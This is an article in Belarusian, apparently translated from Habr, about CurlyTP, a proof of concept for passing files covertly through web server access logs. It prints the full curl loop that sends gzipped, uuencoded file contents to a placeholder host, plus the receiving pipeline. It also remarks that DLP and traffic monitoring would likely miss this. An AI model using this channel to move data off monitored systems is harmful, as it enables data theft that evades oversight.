Абмен сакрэтнымі паведамленнямі праз серверныя логі

Паводле вызначэння ў Вікіпедыі, схованка (dead drop) - гэта інструмент канспірацыі, які служыць для абмену інфармацыяй або нейкімі прадметамі паміж людзьмі, якія выкарыстоўваюць сакрэтнае месцазнаходжанне. Сэнс у тым, што людзі ніколі не сустракаюцца - але пры гэтым абменьваюцца інфармацыяй, падтрымліваючы эксплуатацыйную бяспеку.

Схованка не павінна прыцягваць увагу. Таму ў афлайнавым свеце часта выкарыстоўваюць някідкія рэчы: вольная цэгла ў сцяне, бібліятэчную кнігу або дупло ў дрэве.

У інтэрнэце ёсць шмат інструментаў для шыфравання і ананімізацыі, але сам факт выкарыстання гэтых інструментаў прыцягвае ўвагу. Акрамя таго, яны могуць быць заблакаваныя на карпаратыўным ці дзяржаўным узроўні. Што рабіць?

Распрацоўнік Раян Флаўэрс (Ryan Flowers) прапанаваў цікавы варыянт – выкарыстоўваць у якасці схованкі любы вэб-сервер. Калі падумаць, тое што робіць вэб-сервер? Прымае запыты, выдае файлы і піша лог. І ён запісвае ў лог усе запыты, нават некарэктныя!

Атрымліваецца, любы вэб-сервер дазваляе захаваць у логу практычна адвольнае паведамленне. Флаўэрс задумаўся над тым, як гэта выкарыстоўваць.

Ён прапануе такі варыянт:

  1. Бярэм тэкставы файл (сакрэтнае паведамленне) і вылічаем хэш (md5sum).
  2. Кадуем яго (gzip+uuencode).
  3. Запісваем у лог шляхам загадзя некарэктнага запыту да сервера.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Для чытання файла трэба вырабіць гэтыя аперацыі ў зваротным парадку: раскадзіраваць і разархіваваць файл, зверыць хэш (хэш можна бяспечна перадаць па адчыненых каналах).

Прабелы замяняюцца на =+=, Каб у адрасе не было прабелаў. Праграма, якую аўтар назваў CurlyTP, выкарыстоўвае кадоўку base64, як ва ўкладаннях электроннай пошты. Запыт робіцца з ключавым словам ?transfer?, Каб атрымальнік лёгка знайшоў яго ў логах.

Што мы бачым у логах у такім выпадку?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Як ужо было сказана, для атрымання сакрэтнага паведамлення трэба вырабіць аперацыі ў зваротным парадку:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Працэс лёгка аўтаматызаваць. Md5sum супадае, і змесціва файла пацвярджае, што ўсё правільна раскадавалася.

Метад вельмі просты. «Сэнс гэтага практыкавання толькі ў тым, каб даказаць, што файлы можна перадаваць праз нявінныя маленькія вэб-запыты, і гэта працуе на любым вэб-серверы са звычайнымі тэкставымі логамі. Па сутнасці, кожны вэб-сервер з'яўляецца схованкай!», - піша Флаўэрс.

Вядома, метад працуе толькі ў тым выпадку, калі ў атрымальніка ёсць доступ да серверных логаў. Але такі доступ даюць, напрыклад, шматлікія хосцеры.

Як гэта выкарыстоўваць?

Раян Флаўэрс кажа, што ён не спецыяліст па інфармацыйнай бяспецы і не будзе складаць спіс магчымых ужыванняў CurlyTP. Для яго гэта проста доказ канцэпцыі, што звыклыя інструменты, якія мы бачым штодзень, можна выкарыстоўваць нетрадыцыйным спосабам.

Насамрэч такі метад мае шэраг пераваг перад іншымі сервернымі «сховішчамі» тыпу Digital Dead Drop або PirateBox: ён не патрабуе асаблівай наладкі на баку сервера ці нейкіх спецыяльных пратаколаў — і не выкліча падазрэнні ў тых, хто адсочвае трафік. Ці наўрад САВМ або сістэма DLP будзе сканаваць URL’ы на прадмет сціснутых тэкставых файлаў.

Гэта адзін са спосабаў перадачы паведамленняў праз службовыя файлы. Можна ўспомніць, як раней некаторыя прасунутыя кампаніі размяшчалі вакансіі для распрацоўшчыкаў у загалоўках HTTP ці ў кодзе HTML-старонак.

Абмен сакрэтнымі паведамленнямі праз серверныя логі

Ідэя была ў тым, што такую ​​"пасхалку" ўбачаць толькі вэб-распрацоўшчыкі, паколькі нармальны чалавек не будзе праглядаць загалоўкі або код HTML.

Абмен сакрэтнымі паведамленнямі праз серверныя логі

Крыніца: habr.com

Дадаць каментар